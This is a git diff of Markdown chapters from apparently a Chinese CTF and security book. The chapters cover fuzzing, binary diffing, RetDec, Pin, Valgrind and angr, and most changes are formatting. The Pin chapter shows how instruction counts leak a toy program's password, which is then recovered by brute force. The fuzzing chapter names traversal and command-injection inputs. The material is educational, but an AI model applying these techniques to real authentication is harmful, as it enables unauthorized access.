具有较低的性能消耗,各种高效的模糊测试策略和最小化技巧,它无需很多复杂的配置即可处理现实中的复杂程序。另外 AFL 也支持直接对没有源码的二进制程序进行黑盒测试,但需要 QEMU 的支持。 - ## 安装 -``` + +```text $ wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz $ tar zxvf afl-latest.tgz $ cd afl-2.52b @@ -18,8 +18,6 @@ $ make $ sudo make install ``` - ## 简单示例 - ## 参考资料 diff --git a/doc/5.1.2_libfuzzer.md b/doc/5.1.2_libfuzzer.md index f9042df..40fc52f 100644 --- a/doc/5.1.2_libfuzzer.md +++ b/doc/5.1.2_libfuzzer.md @@ -2,6 +2,6 @@ - [参考资料](#参考资料) - ## 参考资料 + - [libFuzzer – a library for coverage-guided fuzz testing.](http://llvm.org/docs/LibFuzzer.html) diff --git a/doc/5.10_diff_based_analysis.md b/doc/5.10_diff_based_analysis.md index cdff2e2..f4c12e2 100644 --- a/doc/5.10_diff_based_analysis.md +++ b/doc/5.10_diff_based_analysis.md @@ -3,13 +3,14 @@ - [基本原理](#基本原理) - [方法实现](#方法实现) - ## 基本原理 + 软件开发商为了修补软件系统的各种漏洞或缺陷所提供的修补程序被称为软件补丁。对于开源软件,补丁本身就是程序源代码,打补丁的过程就是用补丁中的源代码替换原有的代码。而对于闭源软件,厂商只提供修改后的二进制代码,例如微软的Windows系统补丁。这时就需要使用二进制代码比对技术,定位补丁所修补的软件漏洞。 二进制代码比对的根本目的是寻找补丁前后程序的差异。这里所说的差异是指语义上的差异,即程序在执行时所表现出的不同的逻辑行为。通过二进制代码比对定位出有差异的函数,再经过进一步的人工分析,可以确定出二进制补丁对程序执行逻辑上的修改,从而推测漏洞位置及成因,辅助漏洞挖掘工作。 主要的实现原理有如下几种: + - 基于文本的比对:最简单的比对方式,其比对的对象分为两种,即二进制文件和反汇编代码 - 二进制文件的文本比对:对打补丁前后的两个二进制文件逐字节进行比对,能够全面地检测出程序中微小的变化,缺点是完全不考虑程序的逻辑信息,漏洞定位精度差,误报率高。 - 反汇编代码的文本比对:将二进制程序先经过反汇编,然后对反汇编代码进行文本比对,比对结果中包含一定的程序逻辑信息,但同样对程序的变得十分敏感,有很大的局限性。 @@ -17,16 +18,19 @@ - 基于结构化的比对:为了克服基于同构图比对的缺陷,该技术主要关注可执行文件逻辑结构上的变化,而不是某一条反汇编指令的变化。 - 综合比对技术:在上述基本比对技术的基础上,进行多种比对技术的综合应用。 - ## 方法实现 -#### 基于文本的比对 + +### 基于文本的比对 + 基于二进制文件的文本比对仅适用于查找文件中极少量字节差异。过程如下: + - 将两个二进制文件作为两个输入字符串,每一个二进制字节就相当于字符串中的一个字符 - 通过最长公共子序列算法,在两个文件中从头向后搜索最长公共子序列,进行比对 - 每当找到一个最长公共子序列,意味着找到了一段指令的匹配,并继续向后搜索最长公共子序列 - 比对进行到文件结尾,比对结束 基于反汇编代码的文本比对实际上是一种指令级别的比对方法,研究指令之间的相似性和差异性: + - 相似:即两条指令的语义完全相同。判定规则如下: - 两条指令的二进制字节完全相同 - 指令的 opcode 相同或者两条指令同为无条件跳转或条件跳转指令 @@ -35,8 +39,10 @@ - 可忽略:如果某条指令为NOP指令,或者是只有唯一后继节点的JMP指令 - 不同:两条指令中的一条被标记为“可忽略” -#### 基于图同构的比对 +### 基于图同构的比对 + 在构造可执行文件的图的时候,做出如下假设: + - 不同版本的两个目标文件从本质上是不同构的,算法的目标是找到一个最佳匹配映射,而不需要穷尽所有匹配 - 可执行文件提供的基本信息可作为匹配的起点 - 生成的有向图中,大部分顶点只有一个入口和一个出口 @@ -44,6 +50,7 @@ - 不对整个图进行同构匹配,而是寻找图中某一部分的同构匹配 基于同构图比对的技术可分为两种: + - 指令级图同构比对算法:两个需要比对的可执行文件分别构造成图,以指令、数据常量、函数调用指令等作为顶点,以控制流图的边作为图的边。对生成的两个图做同构识别,用同构算法找到最相似的两个部分作为同构部分。然后,对两个图的非同构部分继续识别其是否同构,直至全部识别结束 1. 分析两个二进制文件,获得函数、引用表、字符串等。对于函数,生成函数流程图。图中的节点表示单一的指令,图中的边表示指令间所有可能的执行顺序 2. 识别比较的开始点,可以是程序入口点,也可以分析导出函数表,匹配相应的导出函数,作为比较的起始点。将这些地址放入一个分析队列中 diff --git a/doc/5.11.1_retdec.md b/doc/5.11.1_retdec.md index ae8dfe2..8955f7c 100644 --- a/doc/5.11.1_retdec.md +++ b/doc/5.11.1_retdec.md @@ -6,37 +6,44 @@ - [r2pipe decompiler](#r2pipe-decompiler) - [参考资料](#参考资料) - 前面介绍过 IDA Pro,其 F5 已经具有巨强大的反编译能力了,但这本书一直到现在,由于本人的某种执念,都是在硬怼汇编代码,没有用到 IDA,虽说这样能锻炼到我们的汇编能力,但也可以说是无故加大了逆向的难度。但现在事情出现了转机,安全公司 Avast 开源了它的反编译器 RetDec,能力虽不及 IDA,目前也只支持 32 位,但好歹有了第一步,未来会好起来的。 ## RetDec 简介 + [RetDec](https://retdec.com/) 是一个可重定向的机器码反编译器,它基于 LLVM,支持各种体系结构、操作系统和文件格式: + - 支持的文件格式:ELF,PE,Mach-O,COFF,AR(存档),Intel HEX 和原始机器码。 - 支持的体系结构(仅限 32 位):Intel x86,ARM,MIPS,PIC32 和 PowerPC。 - ## 安装 + 在 Linux 上,你需要自己构建和安装。 安装依赖: -``` + +```text $ sudo apt-get install build-essential cmake coreutils wget bc graphviz upx flex bison zlib1g-dev libtinfo-dev autoconf pkg-config m4 libtool ``` + 把项目连同子模块一起拉下来: -``` + +```text $ git clone --recursive https://github.com/avast-tl/retdec ``` + 接下来要注意了,由于项目自己的问题,在运行 cmake 的时候一定指定一个干净的目录,不要在默认的 `/usr` 或者 `/usr/local` 里,可以像下面这样: -``` + +```text $ cd retdec $ mkdir build && cd build $ cmake .. -DCMAKE_INSTALL_PREFIX=/usr/local/retdec $ make && sudo make install ``` - ## 入门 + 安装完成后,我们用 helloword 大法试一下,注意将其编译成 32 位: + ```C #include int main() { @@ -44,8 +51,10 @@ int main() { return 0; } ``` + 运行 decompile.sh 反编译它,我们截取出部分重要的过程和输出: -```sh + +```text $ /usr/local/retdec/bin/decompile.sh a.out ##### Checking if file is a Mach-O Universal static library... RUN: /usr/local/retdec/bin/macho-extractor --list /home/firmy/test/a.out @@ -70,48 +79,60 @@ RUN: /usr/local/retdec/bin/llvmir2hll -target-hll=c -var-renamer=readable -var-n ##### Done! ``` + 总共输出下面几个文件: -``` + +```text $ ls a.out a.out.c a.out.c.backend.bc a.out.c.backend.ll a.out.c.frontend.dsm a.out.c.json ``` + 可以看到 RetDec 可以分为三个阶段: + - 预处理阶段:首先检查文件类型是否为可执行文件,然后调用 `fileinfo` 获取文件信息生成 `a.out.c.json`,然后调用 `unpacker` 查壳和脱壳等操作 - 核心阶段:接下来才是重头戏,调用 `bin2llvmir` 将二进制文件转换成 LLVM IR,并输出 `a.out.c.frontend.dsm`、`a.out.c.backend.ll` 和 `a.out.c.backend.bc` - 后端阶段:这个阶段通过一系列代码优化和生成等操作,将 LLVM IR 反编译成 C 代码 `a.out.c`,还有 CFG 等。 整个过程的结构如下: -![](../pic/5.11_top_level.png) +![img](../pic/5.11_top_level.png) `decompile.sh` 有很多选项,使用 `decompile.sh -h` 查看。 比如反编译指定函数: -``` + +```text $ /usr/local/retdec/bin/decompile.sh --select-functions main a.out ``` + 反编译指定的一段地址: -``` + +```text $ /usr/local/retdec/bin/decompile.sh --select-ranges 0x51d-0x558 a.out ``` + 生成函数 CFG 图(.dot格式): -``` + +```text $ /usr/local/retdec/bin/decompile.sh --backend-emit-cfg a.out ``` - ## r2pipe decompiler + radare2 通过 r2pipe 脚本,利用 retdec.com 的 REST API 提供了反编译的功能,所以你首先要到网站上注册,拿到免费的 API key。 安装上该模块,当然你可能需要先安装上 npm,它是 JavaScript 的包管理器: -``` + +```text $ git clone https://github.com/jpenalbae/r2-scripts.git $ cd r2-scripts/decompiler/ $ npm install ``` + 将 API key 写入到 `~/.config/radare2/retdec.key` 中,然后就可以开心地反编译了。 还是 helloworld 的例子,用 r2 打开,反编译 main 函数。 + ```c [0x000003e0]> #!pipe node /home/firmy/r2-scripts/decompiler/decompile.js @ main Start: 0x51d @@ -149,12 +170,15 @@ int main() { // Decompiler release: v2.2.1 (2016-09-07) // Decompilation date: 2017-12-15 07:48:04 ``` + 每次输入反编译器路径是不是有点烦,在文件 `~/.config/radare2/radare2rc` 里配置一下 alias 就好了,用 `$decompile` 替代: + ```sh # Alias $decompile=#!pipe node /home/user/r2-scripts/decompiler/decompile.js ``` -``` + +```text [0x000003e0]> $decompile -h Usage: $decompile [-acChps] [-n naming] @ addr @@ -179,8 +203,8 @@ Where valid variable namings are: ********************************************************************** ``` - ## 参考资料 + - [retdec github](https://github.com/avast-tl/retdec) - [RetDec: An Open-Source Machine-Code Decompiler](https://retdec.com/web/files/publications/retdec-slides-botconf-2017.pdf) - [radare r2pipe decompiler](https://github.com/jpenalbae/r2-scripts/tree/master/decompiler) diff --git a/doc/5.1_fuzzing.md b/doc/5.1_fuzzing.md index 46ef8c1..08e50e0 100644 --- a/doc/5.1_fuzzing.md +++ b/doc/5.1_fuzzing.md @@ -4,16 +4,19 @@ - [方法实现](#方法实现) - [参考资料](#参考资料) - ## 基本原理 + 模糊测试(fuzzing)是一种通过向程序提供非预期的输入并监控输出中的异常来发现软件中的故障的方法。 用于模糊测试的模糊测试器(fuzzer)分为两类: + - 一类是基于变异的模糊测试器,它通过对已有的数据样本进行变异来创建测试用例 - 另一类是基于生成的模糊测试器,它为被测试系统使用的协议或文件格式建模,基于模型生成输入并据此创建测试用例。 -#### 模糊测试流程 +### 模糊测试流程 + 模糊测试通常包含下面几个基本阶段: + 1. 确定测试目标:确定目标程序的性质、功能、运行条件和环境、编写程序的语言、软件过去所发现的漏洞信息以及与外部进行交互的接口等 2. 确定输入向量:例如文件数据、网络数据和环境变量等。 3. 生成模糊测试数据:在确定输入向量之后设计要模糊测试的方法和测试数据生成算法等 @@ -21,22 +24,27 @@ 5. 监视异常:监视目标程序是否产生异常,记录使程序产生异常的测试数据和异常相关信息 6. 判定发现的漏洞是否可被利用:通过将产生异常的数据重新发送给目标程序,跟踪异常产生前后程序相关的处理流程,分析异常产生的原因,从而判断是否可利用 -#### 基本要求 +### 基本要求 + 要实现高效的模糊测试,通常需要满足下面几个方面的要求: + 1. 可重现性:测试者必须能够知道使目标程序状态变化所对应的测试数据是什么,如果不具备重现测试结果的能力,那么整个过程就失去了意义。实现可重现性的一个方法是在发送测试数据的同时记录下测试数据和目标程序的状态 2. 可重用性:进行模块化开发,这样就不需要为一个新的目标程序重新开发一个模糊测试器 3. 代码覆盖:指模糊测试器能够使目标程序达到或执行的所有代码及过程状态的数量 4. 异常监视:能够精确地判定目标程序是否发生异常非常的关键 -#### 存在的问题 +### 存在的问题 + 模糊测试中存在的问题: + 1. 具有较强的盲目性:即使熟悉协议格式,依然没有解决测试用例路径重复的问题,导致效率较低 2. 测试用例冗余度大:由于很多测试用例通过随机策略产生,导致会产生重复或相似的测试用例 3. 对关联字段的针对性不强:大多数时候只是对多个元素进行数据的随机生成或变异,缺乏对协议关联字段的针对性 - ## 方法实现 -#### 输入数据的关联分析 + +### 输入数据的关联分析 + 通常情况下,应用程序都会对输入的数据对象进行格式检查。通过分析输入到程序的数据对象的结构以及其组成元素之间的依赖关系,构造符合格式要求的测试用例从而绕过程序格式检查,是提高模糊测试成功率的重要步骤。 应用程序的输入数据通常都遵循一定的规范,并具有固定的结构。例如:网络数据包通常遵守某种特定的网络协议规范,文件数据通常遵守特定的文件格式规范。输入数据结构化分析就是对这些网络数据包或文件格式的结构进行分析,识别出特定的可能引起应用程序解析错误的字段,有针对性地通过变异或生成的方式构建测试用例。通常关注下面几种字段:表示长度的字段、表示偏移的字段、可能引起应用程序执行不同逻辑的字段、可变长度的数据等。 @@ -44,11 +52,13 @@ 应用程序所能处理的数据对象是非常复杂的。例如 MS Office 文件是一种基于对象嵌入和链接方式存储的复合文件,不仅可以在文件中嵌入其他格式的文件,还可以包含多种不同类型的元数据。这种复杂性导致在对其进行模糊测试的过程中产生的绝大多数测试数据都不能被应用程序所接受。数据块关联模型是解决这一问题的有效途径。该模型以数据块为基本元素,以数据块之间的关联性为纽带生成畸形测试数据。其中,数据块是数据块关联模型的基础。通常一个数据对象可以分为几个数据块,数据块之间的依赖关系称为数据关联。 数据块的划分通常遵循三个基本原则: + - 使数据块之间的关联性尽可能的小 - 将具有特定意义的数据划分为一个数据块 - 将一段连续且固定不变的数据划分为同一个数据块 数据块关联模型的划分: + - 关联方式 - 内关联:指同一数据对象内不同数据块之间的关联性。 - 长度关联:数据对象内某一个或几个数据块表示另一数据块的长度。是文件格式、网络协议和ActiveX控件模糊测试中最常见的一种数据关联方式。 @@ -60,8 +70,10 @@ - 评价标准 - 有效数据对象效率:构造的畸形数据对象个数与能够被应用程序所接受处理的数据对象个数的比率。 -#### 测试用例集的构建方法 +### 测试用例集的构建方法 + 常见的构建方法有以下几种: + - 随机方法:简单地产生大量伪随机数据给目标程序。 - 强制性测试:模糊测试器从一个有效的协议或数据格式样本开始,持续不断地打乱数据包或文件中的每一个字节、字、双字或字符串。 - 预先生成测试用例:对一个专门规约的研究,以理解所有被支持的数据格式和每种数据格式可接受的取值范围,然后生成用于测试边界条件或迫使规约发生违例的硬编码的数据包或文件。 @@ -78,16 +90,20 @@ - 目录遍历:在URL中附加 "../" 之类的符号将导致攻击者访问未授权的目录。 - 命令注入:向 "exec()"、"system()" 之类的 API 调用传递未经过滤的用户数据。 -#### 测试异常分析 +### 测试异常分析 + 在程序动态分析过程中,相关信息的获取途径有下面几种: + - 通过程序的正常输出获取信息 - 通过静态代码插桩获取信息 - 通过动态二进制插桩获取信息 - 通过虚拟机获取信息 - 通过调试接口或者调试器获取信息 -#### 模糊测试框架 +### 模糊测试框架 + 模糊测试框架是一个通用的模糊器,可以对不同类型的目标进行模糊测试,它将一些单调的工作抽象化,并且将这些工作减少到最低程度。通常模糊测试框架都包含以下几个部分: + - 模糊测试数据生成模块 - 原始数据生成模块:可以直接读取一些手工构造的正常数据,也可以根据结构定义来自动生成正常的测试数据 - 畸形数据生成模块:在原始数据的基础上做一些修改和变形,从而生成最终的畸形数据 @@ -97,7 +113,7 @@ - 异常过滤模块:在动态调试模块的基础上,对异常产生的结果实时过滤 - 测试结果管理模块:测试结果数据库中除了异常信息之外,产生异常的畸形数据也会被保存。利用测试结果数据库,可以实现回归测试。 - ## 参考资料 + - [Fuzzing](https://en.wikipedia.org/wiki/Fuzzing) - [Awesome-Fuzzing](https://github.com/secfigo/Awesome-Fuzzing) diff --git a/doc/5.2.1_pin.md b/doc/5.2.1_pin.md index 2aa98ea..5c0d224 100644 --- a/doc/5.2.1_pin.md +++ b/doc/5.2.1_pin.md @@ -8,13 +8,14 @@ - [Pin 在 CTF 中的应用](#pin-在-ctf-中的应用) - [扩展:Triton](#扩展triton) - ## 插桩技术 + 插桩技术是将额外的代码注入程序中以收集运行时的信息,可分为两种: 源代码插桩(Source Code Instrumentation(SCI)):额外代码注入到程序源代码中。 示例: + ```c // 原始程序 void sci() { @@ -28,6 +29,7 @@ void sci() { printf("%d", num); } ``` + ```c // 插桩后的程序 char inst[5]; @@ -49,74 +51,81 @@ void sci() { ``` 二进制插桩(Binary Instrumentation(BI)):额外代码注入到二进制可执行文件中。 - - 静态二进制插桩:在程序执行前插入额外的代码和数据,生成一个永久改变的可执行文件。 - - 动态二进制插桩:在程序运行时实时地插入额外代码和数据,对可执行文件没有任何永久改变。 + +- 静态二进制插桩:在程序执行前插入额外的代码和数据,生成一个永久改变的可执行文件。 +- 动态二进制插桩:在程序运行时实时地插入额外代码和数据,对可执行文件没有任何永久改变。 以上面的函数 `sci` 生成的汇编为例: 原始汇编代码 -``` + +```text sci: - pushl %ebp - movl %esp, %ebp - pushl %ebx - subl $20, %esp - call __x86.get_pc_thunk.ax - addl $_GLOBAL_OFFSET_TABLE_, %eax - movl $0, -16(%ebp) - movl $0, -12(%ebp) - jmp .L2 + pushl %ebp + movl %esp, %ebp + pushl %ebx + subl $20, %esp + call __x86.get_pc_thunk.ax + addl $_GLOBAL_OFFSET_TABLE_, %eax + movl $0, -16(%ebp) + movl $0, -12(%ebp) + jmp .L2 ``` + - 插入指令计数代码 - ``` + + ```text sci: counter++; - pushl %ebp + pushl %ebp counter++; - movl %esp, %ebp + movl %esp, %ebp counter++; - pushl %ebx + pushl %ebx counter++; - subl $20, %esp + subl $20, %esp counter++; - call __x86.get_pc_thunk.ax + call __x86.get_pc_thunk.ax counter++; - addl $_GLOBAL_OFFSET_TABLE_, %eax + addl $_GLOBAL_OFFSET_TABLE_, %eax counter++; - movl $0, -16(%ebp) + movl $0, -16(%ebp) counter++; - movl $0, -12(%ebp) + movl $0, -12(%ebp) counter++; - jmp .L2 + jmp .L2 ``` + - 插入指令跟踪代码 -``` + +```text sci: Print(ip) - pushl %ebp + pushl %ebp Print(ip) - movl %esp, %ebp + movl %esp, %ebp Print(ip) - pushl %ebx + pushl %ebx Print(ip) - subl $20, %esp + subl $20, %esp Print(ip) - call __x86.get_pc_thunk.ax + call __x86.get_pc_thunk.ax Print(ip) - addl $_GLOBAL_OFFSET_TABLE_, %eax + addl $_GLOBAL_OFFSET_TABLE_, %eax Print(ip) - movl $0, -16(%ebp) + movl $0, -16(%ebp) Print(ip) - movl $0, -12(%ebp) + movl $0, -12(%ebp) Print(ip) - jmp .L + jmp .L ``` - ## Pin 简介 + Pin 是 Intel 公司研发的一个动态二进制插桩框架,可以在二进制程序运行过程中插入各种函数,以监控程序每一步的执行。[官网](https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool)(目前有 2.x 和 3.x 两个版本,2.x 不能在 Linux 内核 4.x 及以上版本上运行,这里我们选择 3.x) Pin 具有以下优点: + - 易用 - 使用动态插桩,不需要源代码、不需要重新编译和链接。 - 可扩展 @@ -131,17 +140,18 @@ Pin 具有以下优点: - 高效 - 在指令代码层面实现编译优化 - ## Pin 的基本结构和原理 + Pin 是一个闭源的框架,由 Pin 和 Pintool 组成。Pin 内部提供 API,用户使用 API 编写可以由 Pin 调用的动态链接库形式的插件,称为 Pintool。 -![](../pic/5.2_pin_arch.png) +![img](../pic/5.2_pin_arch.png) 由图可以看出,Pin 由进程级的虚拟机、代码缓存和提供给用户的插桩检测 API 组成。Pin 虚拟机包括 JIT(Just-In-Time) 编译器、模拟执行单元和代码调度三部分,其中核心部分为 JIT 编译器。当 Pin 将待插桩程序加载并获得控制权之后,在调度器的协调下,JIT 编译器负责对二进制文件中的指令进行插桩,动态编译后的代码即包含用户定义的插桩代码。编译后的代码保存在代码缓存中,经调度后交付运行。 程序运行时,Pin 会拦截可执行代码的第一条指令,并为后续指令序列生成新的代码,新代码的生成即按照用户定义的插桩规则在原始指令的前后加入用户代码,通过这些代码可以抛出运行时的各种信息。然后将控制权交给新生成的指令序列,并在虚拟机中运行。当程序进入到新的分支时,Pin 重新获得控制权并为新分支的指令序列生成新的代码。 通常插桩需要的两个组件都在 Pintool 中: + - 插桩代码(Instrumentation code) - 在什么位置插入插桩代码 - 分析代码(Analysis code) @@ -153,36 +163,45 @@ Pintool 采用向 Pin 注册插桩回调函数的方式,对每一个被插桩 - **Analysis routines**:某对象每次被访问时都调用 - **Callbacks**:无论何时当特定事件发生时都调用 - ## Pin 的基本用法 + 在 Pin 解压后的目录下,编译一个 Pintool,首先在 `source/tools/` 目录中创建文件夹 `MyPintools`,将 `mypintool.cpp` 复制到 `source/tools/MyPintools` 目录下,然后 `make`: -``` + +```text $ cp mypintools.cpp source/tools/MyPintools $ cd source/tools/MyPintools ``` + 对于 32 位架构,使用 `TARGET=ia32`: -``` + +```text [MyPintools]$ make obj-ia32/mypintool.so TARGET=ia32 ``` + 对于 64 位架构,使用 `TARGET=intel64`: -``` + +```text [MyPintools]$ make obj-intel64/mypintool.so TARGET=intel64 ``` 启动并插桩一个应用程序: -``` + +```text [MyPintools]$ ../../../pin -t obj-intel64/mypintools.so -- application ``` + 其中 `pin` 是插桩引擎,由 Pin 的开发者提供;`pintool.so` 是插桩工具,由用户自己编写并编译。 绑定并插桩一个正在运行的程序: -``` + +```text [MyPintools]$ ../../../pin -t obj-intel64/mypintools.so -pid 1234 ``` - ## Pintool 示例分析 + Pin 提供了一些 Pintool 的示例,下面我们分析一下用户手册中介绍的指令计数工具,可以在 `source/tools/ManualExamples/inscount0.cpp` 中找到。 + ```c #include #include @@ -252,7 +271,9 @@ int main(int argc, char * argv[]) return 0; } ``` + 执行流程如下: + - 在主函数 `main` 中: - 初始化 `PIN_Init()`,注册指令粒度的回调函数 `INS_AddInstrumentFunction(Instruction, 0)`,被注册插桩函数名为 `Instruction` - 注册完成函数(常用于最后输出结果) @@ -261,7 +282,8 @@ int main(int argc, char * argv[]) - 执行完成函数 `Fini()`,输出计数结果到文件。 由于我当前使用的系统和内核版本过新,Pin 暂时还未支持,使用时需要加上 `-ifeellucky` 参数(在最新的 pin 3.5 中似乎不需要这个参数了),`-o` 参数将运行结果输出到文件。运行程序: -``` + +```text [ManualExamples]$ uname -a Linux manjaro 4.11.5-1-ARCH #1 SMP PREEMPT Wed Jun 14 16:19:27 CEST 2017 x86_64 GNU/Linux [ManualExamples]$ ../../../pin -ifeellucky -t obj-intel64/inscount0.so -o inscount0.log -- /bin/ls @@ -280,55 +302,63 @@ Count 528090 | proccount | 统计 Procedure 的信息,包括名称、镜像、地址、指令数 | | w_malloctrace | 记录 RtlAllocateHeap 的调用情况 | - ## Pintool 编写 -#### main 函数的编写 + +### main 函数的编写 + Pintool 的入口为 `main` 函数,通常需要完成下面的功能: + - 初始化 Pin 系统环境: - `BOOL LEVEL_PINCLIENT::PIN_Init(INT32 argc, CHAR** argv)` - 初始化符号表(如果需要调用程序符号信息,通常是指令粒度以上): - `VOID LEVEL_PINCLIENT::PIN_InitSymbols()` - 初始化同步变量: - Pin 提供了自己的锁和线程管理 API 给 Pintool 使用。当 Pintool 对多线程程序进行二进制检测,需要用到全局变量时,需要利用 Pin 提供的锁(Lock)机制,使得全局变量的访问互斥。编写时在全局变量中声明锁变量并在 `main` 函数中对锁进行初始化:`VOID LEVEL_BASE::InitLock(PIN_LOCK *lock)`。在插桩函数和分析函数中,锁的使用方式如下,应注意在全局变量使用完毕后释放锁,避免死锁的发生: - ``` + + ```text GetLock(&thread_lock, threadid); // 访问全局变量 ReleaseLock(&thread_lock); ``` + - 注册不同粒度的回调函数: - TRACE(轨迹)粒度 - TRACE 表示一个单入口、多出口的指令序列的数据结构。Pin 将 TRACE 分为若干基本块 BBL(Basic Block),一个 BLL 是一个单入口、单出口的指令序列。TRACE 在指令发生跳转时进行插入,进一步进行基本块分析,常用于记录程序执行序列。注册 TRACE 粒度插桩函数原型为: - ``` + ```text TRACE_AddInstrumentFunction(TRACE_INSTRUMENT_CALLBACK fun, VOID *val) ``` - IMG(镜像)粒度 - IMG 表示整个被加载进内存的二进制可执行模块(如可执行文件、动态链接库等)类型的数据结构。每次被插桩进程在执行过程中加载了镜像类型文件时,就会被当做 IMG 类型处理。注册插桩 IMG 粒度加载和卸载的函数原型: - ``` + ```text IMG_AddInstrumentFunction(IMAGECALLBACK fun, VOID *v) IMG_AddUnloadFunction(IMAGECALLBACK fun, VOID *v) ``` - RTN(例程)粒度 - RTN 代表了由面向过程程序语言编译器产生的函数/例成/过程。Pin 使用符号表来查找例程,即需要插入的位置,需要调用内置的初始化表函数 `PIN_InitSymbols()`。必须使用 `PIN_InitSymbols` 使得符号表信息可用。插桩 RTN 粒度函数原型: - ``` + ```text RTN_AddInstrumentFunction(RTN_INSTRUMENT_CALLBACK fun, VOID *val) ``` - INS(指令)粒度 - INS 代表一条指令对应的数据结构,INS 是最小的粒度。INS 的代码插桩是在指令执行前、后插入附加代码,会导致程序执行缓慢。插桩 INS 粒度函数原型: - ``` + ```text INS_AddInstrumentFunction(INS_INSTRUMENT_CALLBACK fun, VOID *val) ``` - 注册结束回调函数 - 插桩程序运行结束时,可以调用结束函数来释放不再使用的资源,输出统计结果等。注册结束回调函数: - ``` + + ```text VOID PIN_AddFiniFunction(FINI_CALLBACK fun, VOID *val) ``` + - 启动 Pin 虚拟机进行插桩: - 最后调用 `VOID PIN_StartProgram()` 启动程序的运行。 -#### 插桩、分析函数的编写 +### 插桩、分析函数的编写 + 在 `main` 函数中注册插桩回调函数后,Pin 虚拟机将在运行过程中对该种粒度的插桩函数对象选择性的进行插桩。所谓选择性,就是根据被插桩对象的性质和条件,选择性的提取或修改程序执行过程中的信息。 各种粒度的插桩函数: + - **INS** - `VOID LEVEL_PINCLIENT::INS_InsertCall(INS ins, IPOINT action, AFUNPTR funptr, ...)` - **RTN** @@ -340,11 +370,12 @@ Pintool 的入口为 `main` 函数,通常需要完成下面的功能: 其中 `funptr` 为用户自定义的分析函数,函数参数与 `...` 参数列表传入的参数个数相同,参数列表以 `IARG_END` 标记结束。 - ## Pin 在 CTF 中的应用 + 由于程序具有循环、分支等结构,每次运行时执行的指令数量不一定相同,于是我们可是使用 Pin 来统计执行指令的数量,从而对程序进行分析。特别是对一些使用特殊指令集和虚拟机,或者运用了反调试等技术的程序来说,相对于静态分析去死磕,动态插桩技术是一个比较好的选择。 我们先举一个例子,[源码](../src/others/5.2_pin/passwd.c)如下: + ```c #include #include @@ -365,10 +396,12 @@ void main() { } } ``` + 这段代码要求用户输入密码,然后逐字符进行判断。 使用前面分析的指令计数的 inscount0 Pintool,我们先测试下密码的长度: -``` + +```text [ManualExamples]$ echo x | ../../../pin -ifeellucky -t obj-intel64/inscount0.so -o inscount.out -- ~/a.out ; cat inscount.out Bad! Count 152667 @@ -391,8 +424,10 @@ Count 152772 Bad! Count 152779 ``` + 我们输入的密码位数从 1 到 7,可以看到输入位数为 6 位或更少时,计数值之差都是 21,而输入 7 位密码时,差值仅为 7,不等于 21。于是我们知道程序密码为 6 位。接下来我们更改密码的第一位: -``` + +```text [ManualExamples]$ echo axxxxx | ../../../pin -ifeellucky -t obj-intel64/inscount0.so -o inscount.out -- ~/a.out ; cat inscount.out Bad! Count 152786 @@ -406,8 +441,10 @@ Count 152772 Bad! Count 152772 ``` + 很明显,程序密码第一位是 `a`,接着尝试第二位: -``` + +```text [ManualExamples]$ echo aaxxxx | ../../../pin -ifeellucky -t obj-intel64/inscount0.so -o inscount.out -- ~/a.out ; cat inscount.out Bad! Count 152786 @@ -421,13 +458,15 @@ Count 152786 Bad! Count 152786 ``` + 第二位是 `b`,同时我们还可以发现,每一位正确与错误的指令计数之差均为 14。同理,我们就可以暴力破解出密码,但这种暴力破解方式大大减少了次数,提高了效率。破解脚本可查看参考资料。 -#### 参考资料 +### 参考资料 + - [A binary analysis, count me if you can](http://shell-storm.org/blog/A-binary-analysis-count-me-if-you-can/) - [pintool2](https://github.com/sebastiendamaye/pintool2) - [Pin 3.5 User Guide](https://software.intel.com/sites/landingpage/pintool/docs/97503/Pin/html/) - ## 扩展:Triton + Triton 是一个二进制执行框架,其具有两个重要的优点,一是可以使用 Python 调用 Pin,二是支持符号执行。[官网](https://triton.quarkslab.com/) diff --git a/doc/5.2.3_valgrind.md b/doc/5.2.3_valgrind.md index 3adceda..723ade1 100644 --- a/doc/5.2.3_valgrind.md +++ b/doc/5.2.3_valgrind.md @@ -5,21 +5,20 @@ - [VEX IR](#vex-ir) - [参考资料](#参考资料) - ## 简介 -Valgrind 是一个用于内存调试、内存泄漏检测以及性能分析的动态二进制插桩工具。Valgrind 由 core 以及基于 core 的其他调试工具组成。core 类似于一个框架,它模拟了一个 CPU 环境,并提供服务给其他工具,而其他工具以插件的形式利用 core 提供的服务完成各种特定的任务。 +Valgrind 是一个用于内存调试、内存泄漏检测以及性能分析的动态二进制插桩工具。Valgrind 由 core 以及基于 core 的其他调试工具组成。core 类似于一个框架,它模拟了一个 CPU 环境,并提供服务给其他工具,而其他工具以插件的形式利用 core 提供的服务完成各种特定的任务。 ## 使用方法 - ## VEX IR + VEX IR 是 Valgrind 所使用的中间表示,供 DBI 使用,后来这一部分被分离出去作为 libVEX,libVEX 负责将机器码转换成 VEX IR,转换结果存放在 cache 中。 顺便,再简单提一下其他的类似用途的 IR 还有:BAP、REIL、LLVM、TCG 等。 - ## 参考资料 + - [Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation](http://valgrind.org/docs/valgrind2007.pdf) - [Optimizing Binary Code Produced by Valgrind](https://pdfs.semanticscholar.org/6761/acf36975d38fd5f616cb4798bfa3a92cbfa3.pdf) - [libvex_ir.h](https://github.com/angr/vex/blob/dev/pub/libvex_ir.h) diff --git a/doc/5.3.1_angr.md b/doc/5.3.1_angr.md index d21a8e6..ecdf968 100644 --- a/doc/5.3.1_angr.md +++ b/doc/5.3.1_angr.md @@ -13,24 +13,27 @@ - [CTF 实例](#ctf-实例) - [参考资料](#参考资料) - ## 简介 + [angr](https://github.com/angr/angr) 是一个多架构的二进制分析平台,具备对二进制文件的动态符号执行能力和多种静态分析能力。在近几年的 CTF 中也大有用途。 - ## 安装 + 在 Ubuntu 上,首先我们应该安装所有的编译所需要的依赖环境: -``` + +```text $ sudo apt install python-dev libffi-dev build-essential virtualenvwrapper ``` 强烈建议在虚拟环境中安装 angr,因为有几个 angr 的依赖(比如z3)是从他们的原始库中 fork 而来,如果你已经安装了 z3,那么肯定不希望 angr 的依赖覆盖掉官方的共享库,开一个隔离的环境就好了: -``` + +```text $ mkvirtualenv angr $ sudo pip install angr ``` 如果这样安装失败的话,那么你可以按照下面的顺序从 angr 的官方仓库安装: + ```text 1. claripy 2. archinfo @@ -38,28 +41,35 @@ $ sudo pip install angr 4. cle 5. angr ``` + 例如下面这样: 